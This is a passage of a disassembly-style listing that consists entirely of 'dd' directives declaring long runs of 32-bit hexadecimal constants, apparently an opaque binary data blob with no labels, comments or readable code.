		dd 370EDE8Eh, 0ACA421B7h, 0FFD76119h, 24CF33E8h, 0FCD93F00h
		dd 0F63AEBA7h, 0CACD0052h, 216C95E4h, 0C90342A2h, 22B9B215h
		dd 902FF256h, 83E984h, 0FFE72E7Ch, 9A6FA20Eh, 0A6D95100h
		dd 1F284329h, 4744BE70h, 2A6EE004h, 27130FB8h, 24D03013h
		dd 535877Eh, 9308DD50h,	0CCD08540h, 3901F134h, 209003DBh
		dd 0BDE0B0C9h, 0F9640045h, 0AF3F22F6h, 51335250h, 0B002317Ch
		dd 2874DD45h, 7C98A6h, 82D5BC7Bh, 0E61B9E33h, 8A38D407h
		dd 0EDF0DAB2h, 1DF1B8FFh, 5B93662h, 88263973h, 6503ABF0h
		dd 86101B7Eh, 9063E0E2h, 0FDE424h, 18E68321h, 387B51EFh
		dd 0A1CC5605h, 0C4B269E3h, 0AF3BD200h, 949915CEh, 0AA017C7Eh
		dd 0EA8F67ECh, 1FD0BB63h, 0C8B412A5h, 20802305h, 80C108CCh
		dd 655B953Eh, 0E37434C6h, 0DD8D860Eh, 0A488778Eh, 0B9AF48C2h
		dd 728B0277h, 0A0E039C9h, 67AE3C48h, 2272A1E4h,	8724074Ch
		dd 36529727h, 4D70407Eh, 95F68883h, 0B2D1741Dh,	7FEF862h
		dd 53E8093Bh, 8CA4840Ch, 2378B0E8h, 0A599BE17h,	8DC0141Eh
		dd 0DE98452Ah, 0CD4B042Bh, 0C12960F4h, 0E3C39D90h, 2D533900h
		dd 7A42ECFBh, 0D59F043Fh, 8019CEB2h, 0DFE72C6Ch, 0D01E2B02h
		dd 0C26F2938h, 874A609Ch, 209300DEh, 0CCCD243Dh, 0E7260D97h
		dd 8441DCF6h, 9205A8Ch,	87C700A1h, 0D60B70CBh, 2E04C11Fh
		dd 60A3A419h, 0D02528C3h, 88C897F2h, 51076670h,	83E47FBCh
		dd 12D4BA20h, 346B0B1Ch, 9C90C33Eh, 75007098h, 2354DD72h
		dd 7E712CEDh, 363F3BDAh, 0E988E48Eh, 0B4261440h, 0A50013B5h
		dd 270C2885h, 0C3D496h,	0B20B2E2h, 3D9B2AF9h, 83E65D1Dh
		dd 0FC00EA17h, 0B5A70EF1h, 0FE26001Eh, 0A4FD28F9h, 64003DAEh
		dd 0F44F75BBh, 31462E5h, 0BF69E870h, 3000B36Ch,	0F5751C91h
		dd 0BEFE56h, 3CE17B3Eh,	88F6AD67h, 9391F960h, 0EA298D1h
		dd 0BA5219FEh, 484A0620h, 0BB033384h, 34E013B4h, 0CF861D87h
		dd 2A15408Fh, 46CEDF30h, 3600E2E8h, 0AADED3C3h,	0A09D6675h
		dd 602A8440h, 5EF6C856h, 0C5203564h, 0B47765h, 0F805CC09h
		dd 34CE7BD5h, 7DEFD10Bh, 7001FF83h, 8070C0D7h, 55264849h
		dd 3C8F5F40h, 2F000666h, 3484C8D2h, 1E165EBBh, 5F0075DFh
		dd 0E4C63040h, 0A5BA3047h, 0F43D2380h, 38D5BD3Ah, 9EEF8362h
		dd 1D04383h, 672FC598h,	11BD1C75h, 8C571DEDh, 6F01829Ah
		dd 4EBC1964h, 5CF42180h, 4493594Fh, 303A8100h, 52D1B7DDh
		dd 2D701429h, 2022245Fh, 39DFB600h, 774CBD6Ch, 58DB09Dh
		dd 0D4FA0E1h, 0C6EC43AAh, 0CAE0EC8Ch, 2D1FFB70h, 0C580FE78h
		dd 40E5663Ah, 0BCC31AEh, 5775BF51h, 5A11718Ch, 0A1E170ABh
		dd 54FCE673h, 37006F72h, 41643CE2h, 91EA15C5h, 9D460220h
		dd 0F9C361FDh, 0A835A900h, 0B92819CFh, 0F3AF00E6h, 0DD1562D1h
		dd 5D04AB5Fh, 0B4EE0E7Dh, 2188D543h, 0C7BC895Fh, 2D81DC00h
		dd 0FC4D272Ah, 3F80BB52h, 0D7F89C1Fh, 78981000h, 76403Ch
		dd 0C8C4FBACh, 2790DCF3h, 96D23B26h, 1E1FED01h,	0AB05DBAh
		dd 9AE91A61h, 24BB9905h, 0E400ACE2h, 0E8AAFDBEh, 31371EB9h
		dd 1688CCECh, 80001131h, 5A380D93h, 0C01AED78h,	9E4CBE19h
		dd 0A00FAAEBh, 0CA3419D1h, 3A80AC40h, 0B917562h, 1309FE94h
		dd 1AFD247h, 0F2D79B57h, 5822BBh, 1052A337h, 98ABD040h
		dd 16ECE916h, 659014CFh, 95C0F86Ah, 44D8AA5Fh, 847CA603h
		dd 0C154DACEh, 20E60D39h, 22A57FCCh, 88D36200h,	503FEFA1h
		dd 0B54783Dh, 6620FB6Ah, 8FF49F08h, 9A85411Bh, 13C00824h
		dd 98C20A80h, 7C8B95B7h, 4CA00046h, 27A13125h, 170B9E84h
		dd 757719h, 0CFD2450Bh,	7D5791Bh, 0BEDC2E35h, 9826E3ABh
		dd 3088E124h, 0D7535D40h, 0D04D1D1Bh, 327C4056h, 8DB7C2E5h
		dd 0CD34901h, 37F1BCE6h, 77006023h, 6E7EF9DEh, 0C90F8F11h
		dd 20179D62h, 0C7468CCDh, 15882273h, 17F0812h, 68ABE000h
		dd 42024D6h, 606DD3AEh,	0D548806Ch, 0DB727846h,	0B84B9C0h
		dd 651716A1h, 0C00371ADh, 2B93F664h, 0A3025BF8h, 85B40C51h
		dd 0E04488h, 9368F8E3h,	0D2831C8Dh, 1518D0A4h, 3449A2F3h
		dd 0F09303FFh, 0ECDA76D6h, 29EC990h, 1A885D11h,	7931600h
		dd 0BF0BB3E3h, 0F7FC7604h, 8488ED60h, 44660025h, 0C70F9E9Bh
		dd 42486875h, 836D3EDCh, 32C01E15h, 0BC101294h,	0B73C0A53h
		dd 81DE00F4h, 0EF17D29Eh, 0E0E9C304h, 880B411h,	26B6B266h
		dd 1E708B27h, 0BDB82C7h, 756AFBh, 5E897FA0h, 60983Ah, 94DC334Fh
		dd 459DB935h, 0BAE0300Ch, 28A44872h, 909D4ED6h,	37CE3CD4h
		dd 3BED293h, 3549809Ch,	548875A0h, 70D3B904h, 94C0E03Dh
		dd 45D2EAh, 0C4D98A2Ah,	35867AA5h, 470CAC03h, 2ACBB730h
		dd 1E80A2C8h, 0C3B341Eh, 0E11C896h, 0E8B0AB54h,	0A4D2BC1Fh
		dd 75FF76C0h, 49BF6A5Eh, 796C78h, 0A58B5128h, 0B7E37C9Dh
		dd 0F21C7200h, 0A40AB9C2h, 1FDFC71h, 0EE3418A1h, 3221702Fh
		dd 128811D4h, 0CAD64A00h, 790735E2h, 41BB4601h,	5E129CBCh
		dd 0E263EAE7h, 0AF880007h, 690E30FBh, 880F81EDh, 34EBB200h
		dd 0E90CD84Ah, 0D2D5E7BDh, 0EF7F0189h, 169094EEh, 986354h
		dd 6BE118A2h, 9E6F2Dh, 0A477EDFh, 0C5DBCC3Ah, 0C0F3E603h
		dd 21CCDAFh, 0D6F57031h, 48C01B08h, 0F401390Bh,	0A33D3BE9h
		dd 7ED3BB38h, 429A0110h, 0B787572Ah, 0FB085CAh,	0C8000C9Eh
		dd 5B4D11D6h, 0AFB813F8h, 0C99C0C32h, 0C0582050h, 39868008h
		dd 334A46h, 273ED1F9h, 3B150D1Ch, 0EBB5D00h, 9366F165h
		dd 4031D36Bh, 2F1D58A0h, 0BD7D87B8h, 0C083D491h, 0A8FD74ADh
		dd 3AD6F16Ch, 7000CDE7h, 9EAEE535h, 4638C6B7h, 0B8FA0D2h
		dd 0BA2A75CEh, 0F9AE2C10h, 76531D0Fh, 0AA6AA0DDh, 0C0B3C53Dh
		dd 80615D21h, 217B9FABh, 0A7785402h, 80C1E5DAh,	9AD09988h
		dd 30831815h, 7FBF910Dh, 36B1B9C0h, 0BE1934h, 47E0DFCCh
		dd 86231F90h, 1C82200h,	0E532993h, 0F47955ECh, 0E9007833h
		dd 4404E370h, 920719BEh, 4A95D947h, 0EA3B9920h,	5D152CC7h
		dd 0EE183A34h, 751D41A5h, 0B467C501h, 0AC089EF6h, 0CF42C830h
		dd 16C418F8h, 676C8C12h, 7D255700h, 7A11C360h, 41210052h
		dd 0B5A950CAh, 58041BFAh, 0E1F43CFDh, 0E7810CC5h, 0E99707CEh
		dd 0D0E8053Eh, 1F7800C0h, 9EE6F37h, 3C597A07h, 0C6C05636h
		dd 0C5463FDh, 4BBBB091h, 4F00D5E1h, 0D0D305A1h,	0F9304BAh
		dd 174E19F1h, 0A822752Dh, 79043029h, 12517A6Bh,	0FE2BACC8h
		dd 6DAB00EEh, 8AB1B7AEh, 84776B36h, 9406787Bh, 71BFA4DAh
		dd 0CEC22C99h, 0AC100DCh, 41762652h, 1A0B90E4h,	639BDFh
		dd 0A33C7159h, 0BE6E24C3h, 56414154h, 2893F490h, 0BFA82503h
		dd 0A8A6C4B9h, 3D3097h,	6BEE8AB8h, 8759A489h, 55E36A00h
		dd 68DBFA38h
		dd 36F2EDh, 8BD4658Dh, 27E7147Fh, 209DF326h, 2D840900h
		dd 1D56F53Dh, 0C11528h,	5F82D3BEh, 32005B57h, 1C3CCB41h
		dd 6D576B4h, 5158F9A1h,	8AE4DCB5h, 353838h, 0EF9AF345h
		dd 5C93F998h, 2A0023ADh, 0B13B515Dh, 0A200EC8Fh, 5706D069h
		dd 1859EB28h, 40DBF9B4h, 5B060458h, 8F4CAC54h, 0D99E18B9h
		dd 401B61AAh, 0F413BF00h, 0D01485BAh, 10C00F2h,	1FECEFBEh
		dd 310605A9h, 8AC2CE69h, 0C0060041h, 169743DCh,	0BC015B58h
		dd 596A7470h, 599FB7B6h, 61828A9h, 0E35FB4E9h, 1D07116Dh
		dd 0C8E08E3Ch, 34394330h, 52130025h, 457412Dh, 1A18C5E4h
		dd 4B3173ECh, 0EF190086h, 0C35370D5h, 0B008731h, 69A1A65Bh
		dd 21EF272h, 0B4EF64EAh, 888F7BC0h, 42D3007Eh, 28B53919h
		dd 91C93730h, 8F7ED6Dh,	34B7F253h, 3D20073Eh, 62A078CAh
		dd 769924F4h, 0B85929DDh, 0D6CB0C94h, 0D1C5F41h, 0ECC0BE4Eh
		dd 42A96DD9h, 33580081h, 0E02868E8h, 59C03AD2h,	2F419615h
		dd 7E292882h, 5AC03C5h,	0D7D16484h, 45E2517Fh, 0BF006171h
		dd 6526E6A1h, 0C3ABCBACh, 5B114D21h, 0D9BBD2F8h, 2D9D2200h
		dd 0DA647CEEh, 0C01AB8AAh, 4C0578F0h, 0B1C7ADD9h, 5D300F3Eh
		dd 782F2B46h, 0E9FF0058h, 8E10B20Eh, 0F90CA267h, 31B1D935h
		dd 25F700EEh, 4D07C1F2h, 0E63DD0A1h, 93E98694h,	0D12ED2h
		dd 27F1FDC2h, 19C40980h, 17B4CE03h, 8AE3DC2Dh, 10DB0371h
		dd 0C4C87493h, 6500A00Eh, 13B85F04h, 3148C41h, 0B928BB7Bh
		dd 0D2A8EFF3h, 9F53BA44h, 4F0170B0h, 8D899EB7h,	0B8CF5ADEh
		dd 64BC9Ah, 52F96E8Eh, 3DAC4115h, 448A8807h, 5620674Bh
		dd 405051h, 9B6501FEh, 28EF949Ch, 59CD2C30h, 0C32210D6h
		dd 0D0CCC4C9h, 0FE491902h, 0C0C2C01Ah, 3078EB7Ch, 242936D2h
		dd 23065789h, 8654A91Eh, 0F8EC1FE1h, 80FD1FF9h,	8CB018BBh
		dd 0ED7D9DA9h, 5F332500h, 0D8BEF502h, 0AEB900FBh, 0D6EE0E44h
		dd 59CF2AD7h, 0BC75D9h,	336B1270h, 145D842h, 35411ABBh
		dd 0F84D3E91h, 68003929h, 0EE7AEDDFh, 1376B8A9h, 20D09CBAh
		dd 653A5B10h, 41F24301h, 9A529784h, 0EBD139FCh,	1674FCh
		dd 1842EA8Eh, 0B1E80F93h, 219AE003h, 7C8C51A9h,	41E912D1h
		dd 1A94F8EDh, 8E196E50h, 457C3180h, 0C45DF15Ah,	2402AC28h
		dd 1F44D7BBh, 80E098DAh, 0A41E2CB9h, 0C4013E2Ah, 0CB126D3Fh
		dd 8E2180C3h, 0FF3AF230h, 4F1D0CAAh, 975959E2h,	8FBEB800h
		dd 0B43A1C22h, 0C3284C52h, 0CBCD5601h, 5435F1AAh, 66A480A0h
		dd 20E569E7h, 2507E9E8h, 0AF5EDD3Ch, 7DB89CA0h,	41FD035Dh
		dd 210CD6E0h, 566B3900h, 0E28C496Ch, 795860ECh,	0EA2D6635h
		dd 8BF0C3F7h, 0EB90D3C8h, 0D8219063h, 0EE4EC331h, 0DA490111h
		dd 67FB651Ah, 787C40D1h, 0AE00CFF4h, 0BA96CCDBh, 5145E68h
		dd 2F56726Eh, 0FAA4407Ah, 3028E893h, 8C24F091h,	0BC1E3160h
		dd 5CD006Fh, 8843498Dh,	5932605Eh, 6138C1A1h, 2510718Ch
		dd 260B5F08h, 1B8AC3Bh,	7A53E020h, 16A50830h, 742E820h
		dd 1EB61A34h, 1FC0A60Fh, 3428879Ch, 5940DD50h, 0FC731C88h
		dd 242000B8h, 0C4DF97FCh, 0BE3CDA65h, 8350801Fh, 22F93664h
		dd 0D8C8F59Ah, 0DFCB303Dh, 6BAD9F49h, 757FB00h,	2D046CC3h
		dd 0EC953D4Bh, 61BD7180h, 6A640840h, 1B0068A4h,	74B4EA62h
		dd 0E6CEFF2h, 6BBF5157h, 0A9800582h, 1A8430C0h,	5FE3A018h
		dd 81FA9h, 0BD91E085h, 4F781D6Dh, 5186B03h, 0E00A34B3h
		dd 0A455AACAh, 82800AE0h, 60E84CA9h, 0B7CA3532h, 4891367h
		dd 0E5177D07h, 97C0C197h, 0FECC3h, 0AB75AFC0h, 0ED6EDD15h
		dd 1C36CA14h, 282F2CA0h, 0D6EADFC0h, 0B83C44EEh, 0F9F0675Fh
		dd 0D614A031h, 363F1449h, 7100D009h, 50864758h,	99C072E3h
		dd 0D840A917h, 9280027h, 4F8AECCCh, 0BB179590h,	400261C2h
		dd 6CF1D56Bh, 0A3D74464h, 1E92A01h, 3E6D3A9Eh, 45293D0h
		dd 84BA5045h, 48DFC00Bh, 0EA07EC36h, 5D867538h,	8FE370A0h
		dd 1D2B0068h, 44D4BBFDh, 0BCA09465h, 0B90A6E45h, 0A0D1ED6Ch
		dd 5913A811h, 186025A2h, 0D8081CCh, 0A49F103h, 80847FE9h
		dd 3D143DC1h, 0A90A8504h, 1B208A4Fh, 7AC0C1BCh,	894C71FBh
		dd 0BEB406E1h, 29D8CBh,	0E62847CCh, 0AF5FBA7Eh,	0A51F5900h
		dd 1E642D46h, 0E0B35827h, 0A902C3C0h, 0D6006103h, 0A313EC69h
		dd 44B75958h, 6550E4B3h, 9F0070BCh, 0F9D289BCh,	4CACB136h
		dd 33C08443h, 72C5C1B6h, 864DA911h, 0CCBA9F00h,	0C29DA160h
		dd 0C6FD9901h, 37F4AB06h, 0CD8281BEh, 0E8A85D35h, 1127F461h
		dd 5810B0D0h, 0FE000970h, 0A28DED5Ah, 133B633Fh, 546FB27Fh
		dd 0D10A24D0h, 8080D9CBh, 709CD51Bh, 2200FB4Eh,	2DAD1DF7h
		dd 90DC20Ah, 0ED501737h, 40DB2484h, 69B4ECF3h, 44BF245Ah
		dd 281A00A4h, 0D9871D81h, 2600CCB9h, 42B06B8Eh,	2FC20CC6h
		dd 3C41CF33h, 6CA07A07h, 0F0A00FBFh, 1BB207h, 57323DA9h
		dd 0B9BC1936h, 0F2547490h, 5505D47Ch, 62FF91CAh, 69BDEC0Dh
		dd 0B4423882h, 9C64F1FBh, 0D9E77F00h, 60A15EF7h, 29733B74h
		dd 0BBC1F307h, 0B575906Dh, 889149ACh, 9BA2EA07h, 2565450h
		dd 0F9ED0A64h, 0E48087h, 57E00C73h, 787803BEh, 880FC101h
		dd 1C514E4Ah, 0D4131885h, 0F36088DAh, 7EF40905h, 94095394h
		dd 0E44470h, 0E2C5165Fh, 6B7B6FD4h, 97B5950Fh, 4B1DE0CFh
		dd 1725F11Ch, 20D8D532h, 0CA2858ECh, 0B1084700h, 36423C7Dh
		dd 24E013EBh, 847900BEh, 0BA5906A0h, 3581B461h,	72E09A0Dh
		dd 30B73065h, 9C740949h, 2701FD78h, 2BF14932h, 0EFC4FF70h
		dd 371600ECh, 0C5AE133h, 0EA0069DDh, 9CF92857h,	62D3BAh
		dd 52FE41EFh, 0EC19421Ah, 0F8006491h, 0F5125FC9h, 6DFC91h
		dd 21C7447h, 70D4901Dh,	8342EF04h, 80C8D287h, 0CEE100CCh
		dd 5946A11Fh, 0E3394D09h, 718605DEh, 0A8C0ED27h, 29E849D5h
		dd 39CEC1Ch, 0D8D0848h,	7A9285B0h, 5D877F00h, 1DCB47F0h
		dd 65030A55h, 0D89E16h,	5FBDE36Bh, 0FEA0F036h, 89F86377h
		dd 0C5F658h, 0FA5C9FFh,	0BA34EF9h, 0C71941CBh, 0C253EC04h
		dd 20613340h, 0C00A1085h, 662CEC75h, 195A58B4h,	7B2D7700h
		dd 6EE72637h, 1500078h,	0D8B4BEA2h, 70C39688h, 0CC599C3Dh
		dd 0C350CC8h, 0E5304708h, 9C90588Ch, 2C28420Bh,	8B9011D1h
		dd 95973510h, 5FC75C17h, 0E70F2400h, 7EAD228h, 0DAC3F18Ah
		dd 0EF12834Dh, 24D9FFC0h, 0A582162Ch, 0A469E00h, 0F51C99Ch
		dd 50E345Bh, 0CEE8459Eh, 0A600C8F0h, 94AA1606h,	18A92C6h
		dd 6A5B6F34h, 648DF00Ah, 0E8A1CA00h, 151A8026h,	22DEBD6Bh
		dd 0EB280056h, 62C6F8ECh, 0ECA83BB7h, 783A6594h, 5E057F39h
		dd 0E283528Dh, 3F10E020h, 0CE50095h, 0B581E33Ch, 15F25717h
		dd 5E040900h, 6CB8DFF8h, 1088045Dh, 0A5A35993h,	482C403Ch
		dd 0E34803ABh, 6F009D3Ch, 0B46474CBh, 0B420E7DFh, 0F6E06FEh
		dd 10C937E1h, 0EAE86C50h, 0B5BDC500h, 64F340A4h, 0E4FEE10h
		dd 18B856CBh, 0E5380753h, 51582193h, 13C0F350h,	1BF83E44h
		dd 0E12CB730h, 3DE763Bh, 0A1D42EC9h, 59881FB3h,	0E80E1154h
		dd 62C85A63h, 5ADAEA01h, 583FF4E4h, 1F73BB82h, 943BD821h
		dd 0A9C594CBh, 0A2F8215Bh, 3B43D86Ch, 0BA874203h, 0B3AAC9E2h
		dd 0B721185Bh, 2CD68911h, 0A4CFA900h, 0F3ABBFBBh, 36EF0094h
		dd 0A882D0BDh, 0B4997A2Fh, 0E20F6D00h, 0D8EEAAh, 0C73258E0h
		dd 7D05A9D4h, 142B4117h
		dd 0CC244C30h, 99820027h, 0D03D7ACDh, 3100C1C6h, 0B0C361B9h
		dd 5264DAFCh, 700988D2h, 75F0EE5h, 2DF0CB98h, 3CAB8CCFh
		dd 0E900C010h, 0E80589BFh, 4094D16Ch, 4517BE83h, 0E54DF8D9h
		dd 0B1B5004Fh, 9C9AC61Eh, 64241979h, 0E11CDCFDh, 75E900FAh
		dd 3AB5D348h, 18527B0Dh, 8123D8D6h, 0F052CABAh,	7EB200A0h
		dd 0FEA9AD4Bh, 980E4C53h, 10575176h, 1EC40C20h,	0C2416718h
		dd 60A34F5Bh, 0DAFBAC40h, 0D92A8298h, 5603DCAFh, 0D4A9936Fh
		dd 181F883Fh, 2D871341h, 6D00308Bh, 1E0797CBh, 1A3C77E2h
		dd 58895470h, 610604C8h, 88D9043Dh, 0F409EB60h,	80BDAF8Ch
		dd 6F304440h, 2AAB00A8h, 84D7CFE6h, 6900BBF0h, 9C496D19h
		dd 8858E354h, 11F8DD6Ch, 6FB53701h, 54C087EDh, 1AFCA8EFh
		dd 440A4BD6h, 40ADD0F4h, 1C80DCAAh, 4C52000Bh, 0AEC0E2EFh
		dd 293E2BACh, 0B5EE09DEh, 8B7C40F6h, 487C9AC7h,	680980DFh
		dd 346A3D28h, 23000051h, 9384A79Dh, 51C8005Ch, 147967B5h
		dd 2826691Bh, 6205ACE0h, 0D888B711h, 0E54E069Eh, 584A126Ah
		dd 0A1A3DA30h, 19A8FCEh, 27B17717h, 0C0D929A7h,	4D020EE8h
		dd 0ABCF7568h, 5C7052D7h, 848052Fh, 0F8851169h,	0E230A448h
		dd 0C588DA78h, 233501D6h, 0A7BFBC1Dh, 0D7E1E0C1h, 0C8933006h
		dd 29B5D9h, 513DE041h, 29BB03CDh, 0A297921Eh, 4848AA49h
		dd 1FF37FDCh, 7D44EAh, 58E86F55h, 0A7003FBBh, 0F994AA0h
		dd 166B32h, 7B251E95h, 6DCED30Ah, 1D734598h, 78209A4Fh
		dd 0E0B4A25h, 9C75F27h,	933D1962h, 0EF08B0C0h, 228F98B9h
		dd 0D2F0A045h, 1F50B202h, 0A8FD9281h, 4AF43F24h, 69998E84h
		dd 6D8080C3h, 0EF3BA55Dh, 564CC52h, 0C7A8CDE4h,	1EE738CCh
		dd 0C1ED5B8Bh, 58C6D415h, 6CA53024h, 0C8B38902h, 40A40DA7h
		dd 4D9D884h, 0CBC6E892h, 4FA00D1h, 1787B09h, 4EC2A35Dh
		dd 48D0C552h, 0AD001EA4h, 59FD6E5Ah, 1270AEECh,	672894h
		dd 18B6522Ch, 5E129C61h, 0C4614EACh, 28FCF5D5h,	616C9634h
		dd 284DA9FCh, 4E318090h, 30217067h, 3429DECBh, 0E93E9C86h
		dd 9D0C00D3h, 154B57B4h, 3C443A2Dh, 0D6DD8989h,	40238C24h
		dd 1651E167h, 6CCE5042h, 6B7D0037h, 0E797F171h,	0C6268BEAh
		dd 0A135487h, 4C0C8D4h,	96ECC702h, 84EB4014h, 0F51F667Dh
		dd 0DA80EA0Fh, 9D6889F9h, 9F3D05D7h, 0CCA25981h, 0ED0B12C4h
		dd 20898731h, 0A04A4950h, 0F0D3149Fh, 7F80FCDAh, 3B6E3091h
		dd 78C17A24h, 0A1FDC000h, 91EF7ECFh, 7B63805Ch,	0E7596C7Ch
		dd 0EAEE8105h, 0E0B27E04h, 0DB54DF01h, 0F4963C43h, 270FBD33h
		dd 80C787F9h, 7D70A5FDh, 815601C2h, 0BC578EF5h,	0D1A1E882h
		dd 7CF8945Ch, 0F0CC7F2Ch, 0F8001C17h, 4360F2BBh, 69510385h
		dd 8805AC42h, 0B7CBB9F8h, 450194A4h, 0D30B3DBCh, 401451A9h
		dd 0A71AD2F4h, 48B32C2Fh, 0ABFDD700h, 28222449h, 4B48242h
		dd 358B28E0h, 14A210h, 0FD7E65Dh, 3730C69h, 25A162F7h
		dd 7FB92419h, 0F3AFE4ACh, 9EB4FD03h, 0F887EA9Ch, 54B195Bh
		dd 0C0ED9356h, 0CCC8A5CCh, 82004E05h, 0F8B351Ch, 0B06028BCh
		dd 16F704F0h, 0A4B763F0h, 0A503E0B8h, 5871852Ch, 0A1E28B28h
		dd 2E60BC05h, 0E1BE6957h, 0CF8E8498h, 4A413724h, 0B2916F00h
		dd 357E0EBh, 3A80CAF0h,	80F4A11Fh, 0F62F800h, 11EC06B0h
		dd 78580A60h, 451E325h,	1379692Dh, 430087FFh, 17C06CEAh
		dd 565C5E4Dh, 9865258Ch, 981D6824h, 13610048h, 0E819DFFCh
		dd 60006F75h, 0F39E9B8Eh, 0B77F5h, 5B8051B8h, 0CC2C28E7h
		dd 244FA80h, 4A36114Ch,	1C72D9C9h, 64FCAF01h, 8631855Fh
		dd 4CDEFCh, 47AC0A78h, 59ED89ECh, 0F92FD230h, 7A357F76h
		dd 24400009h, 0A6C3944Ch, 36007515h, 7E9B315Bh,	1369E94Eh
		dd 30675157h, 322E08D4h, 0A7070F79h, 91FD76C9h,	25B8A100h
		dd 0B089013h, 7A1CD408h, 20C49D8Bh, 0AE414B0Fh,	21F5C0EAh
		dd 1285952h, 3ADE8046h,	0F0366167h, 0F248F9Ah, 0AF675093h
		dd 3225A01Fh, 84855AA9h, 0E3C6B416h, 65C240D0h,	4CCF00C8h
		dd 174DF772h, 214A8706h, 81E40020h, 9B8800D2h, 0BBE5DDCDh
		dd 4B7643A0h, 120E4C0Eh, 0E789E457h, 75601280h,	5DC91DAh
		dd 0C012958Eh, 0BD70C956h, 0FE57A600h, 994DE589h, 406CB43Bh
		dd 3DE22FA2h, 348F100h,	97397D83h, 0E0177DC9h, 62870001h
		dd 803C268Ch, 0DE589270h, 1EAC2280h, 80D4833Ah,	0CAFCEEF7h
		dd 0A16051Bh, 0F00A6ECDh, 901180FBh, 0CE4D760Bh, 16989468h
		dd 9F12F400h, 0D6098350h, 0F9206905h, 545EF818h, 66E0F973h
		dd 0CE687D00h, 70A112E8h, 0D980047h, 0CC0A6485h, 0A4083C1Ah
		dd 26607C9Ch, 8854008Dh, 55091994h, 915BAC2Dh, 570CA1FCh
		dd 6405209Bh, 28813D06h, 90244151h, 58C5039Bh, 4AD17D5Bh
		dd 3AC6B0A7h, 561DC87Eh, 0A024D4BBh, 0B6B75986h, 6EFB0459h
		dd 0C2DEC048h, 10C0EB3Ch, 418821EEh, 4EEF03BEh,	57EC0E80h
		dd 39118100h, 44615A64h, 0FAC0F2F7h, 108604BBh,	0B2E2D5A1h
		dd 3A1D1D7Ch, 492E82BCh, 0D8BB7D46h, 17E87590h,	0D62D66h
		dd 218C47D8h, 0BC984251h, 750F2Eh, 24CB15h, 3CF7C581h
		dd 136146B9h, 0F63F0Bh,	945FC298h, 815C28BBh, 90B52784h
		dd 7E8851F4h, 0A911006Ch, 596552D0h, 90BE6387h,	8FC2A841h
		dd 45E1A8F3h, 680F48D5h, 0EAC1FC94h, 0DCFC6F19h, 110014E2h
		dd 50811D28h, 4859DC98h, 0D289C0AEh, 20AF1810h,	0FB074E05h
		dd 0C807D74h, 7F5818h, 0E677BC2Bh, 0A9DE49D6h, 89A74F31h
		dd 798025B7h, 0C64DB889h, 0E8000CF5h, 530456Eh,	78D39E7Bh
		dd 0F44A0258h, 33281DEAh, 0CA0210ECh, 0D1D25B51h, 0F0A88086h
		dd 0BCD9D59Bh, 0E56462D4h, 41A84E0h, 0CDCB071Ah, 45E56041h
		dd 61951ED6h, 0B9DFCFA1h, 0D26E0A17h, 627040C0h, 9B0025D5h
		dd 81E57EB4h, 0FFD45BEFh, 2F9C64E8h, 64113E2Fh,	0FF19105Fh
		dd 0D33CC0C8h, 4B9CA90Dh, 9D44A000h, 990BA85Ah,	218075Fh
		dd 0CA54C1ECh, 0DA011A8h, 498248A9h, 9C003423h,	98CB063Bh
		dd 301CBDD9h, 0CD8071BBh, 0DD741F11h, 0D6FA2503h, 2A5FDC90h
		dd 0ED1E1A7Ch, 0DFDDDE4Ch, 80499F89h, 1B589DC4h, 0CBC8A9EEh
		dd 3500E06Dh, 4B378CF6h, 0F9E63FC2h, 1A71CE00h,	7DA2EAF3h
		dd 697001CDh, 0DC486DECh, 589AD806h, 0B766E40Ch, 287939h
		dd 2FC302D7h, 42BB8FDDh, 0F4ECE12Eh, 0D9155740h, 0A19B01A8h
		dd 0A07C206Ch, 0B023EEh, 778A3D10h, 96690FFh, 332FB39Ch
		dd 0D710A051h, 1834C080h, 19049F96h, 0BEB95971h, 1F058088h
		dd 40365E1Dh, 0C9C3D80Ah, 8900FC0Fh, 33229507h,	12E3E9F9h
		dd 0A0E2A869h, 0E4A14CE4h, 2E0611CFh, 0B872EFE8h, 2349078h
		dd 5A54C919h, 32001BB9h, 91C6230Ch, 943080D4h, 6EF2AFA6h
		dd 9B86C409h, 4CE4F6h, 7E07FCE6h, 51C39D5h, 9EDFC200h
		dd 8ECEA269h, 91374BFEh, 23AEAF9Ch, 11742104h, 0ADB4003Ah
		dd 2EAA1145h, 0FB9800F5h, 426C511Ah, 0C1C5D4CEh, 52C0D8C1h
		dd 377ACFFh, 111D679Ch,	0C2E15DAFh, 0F862D2h, 0EB897209h
		dd 0D12E268h, 2D06D602h, 8E542869h, 91BBE331h, 6A22C128h
		dd 0A201EC2Ch, 0B85F2FD0h, 100CEFD6h, 0C83BD7CDh, 0E8ED09E0h
		dd 54E54EA9h, 3C2E290Eh, 0CA9FC4DFh, 0C62FBD00h, 0FE322AAAh
		dd 4434EE0Eh, 0A891ECDCh, 0C9484A00h, 35BCBD0h,	0FFBFEBB7h
		dd 328897DAh, 9C96046Eh, 0EA0FE400h, 19A35A7h, 0B95119B3h
		dd 0E8C26989h, 4045674h
		dd 0D89101CAh, 0CD0048E2h, 8C44DC9Eh, 0D25B64CFh, 0C7438C47h
		dd 0C5576590h, 6AC11482h, 68DEE8E1h, 15B071A2h,	7064E017h
		dd 91C00200h, 63CC88F6h, 94BA70E9h, 1004F271h, 2F283D56h
		dd 0D61264BDh, 4048C90Bh, 0BAF34A0Ch, 42EC6F25h, 68AC0148h
		dd 0F828B13Ch, 45C05D80h, 17EE28B3h, 0B70344FEh, 7FCD89BAh
		dd 5BB23E66h, 20B45B77h, 7E783B1Ch, 847C3403h, 0B1764448h
		dd 7C7656A9h, 0FAABF09h, 0D5092051h, 8450681Dh,	334537h
		dd 73D6F144h, 0C6EA1400h, 0EB68A41Ah, 2609CEFh,	2609E748h
		dd 0A536EF82h, 0CE0F454h, 968131h, 0D4946D1Ch, 718FC6A8h
		dd 1BC95413h, 0B9221830h, 0B7722F49h, 500E7054h, 0BB6B4756h
		dd 0B4BC1984h, 2483750Fh, 0F269FC25h, 0E1138C8h, 9353F4h
		dd 41917CAh, 0DAEF112Eh, 814E00A9h, 93B8038Fh, 1E210090h
		dd 569C8742h, 0FF0029FCh, 4BAEFD0Bh, 0E0476DC1h, 415229EFh
		dd 5FF28080h, 5D1D120Bh, 0CD472F00h, 2B89284Dh,	0EA62E32h
		dd 0F1778448h, 7EE488ECh, 27175900h, 0BB782636h, 9C0105F6h
		dd 0C1E030AFh, 14200F40h, 0DE0E14F2h, 4E21FCB1h, 0FC75E447h
		dd 0E9FCBBC2h, 0D9145AFAh, 28D40526h, 89148864h, 0E8CC94Ch
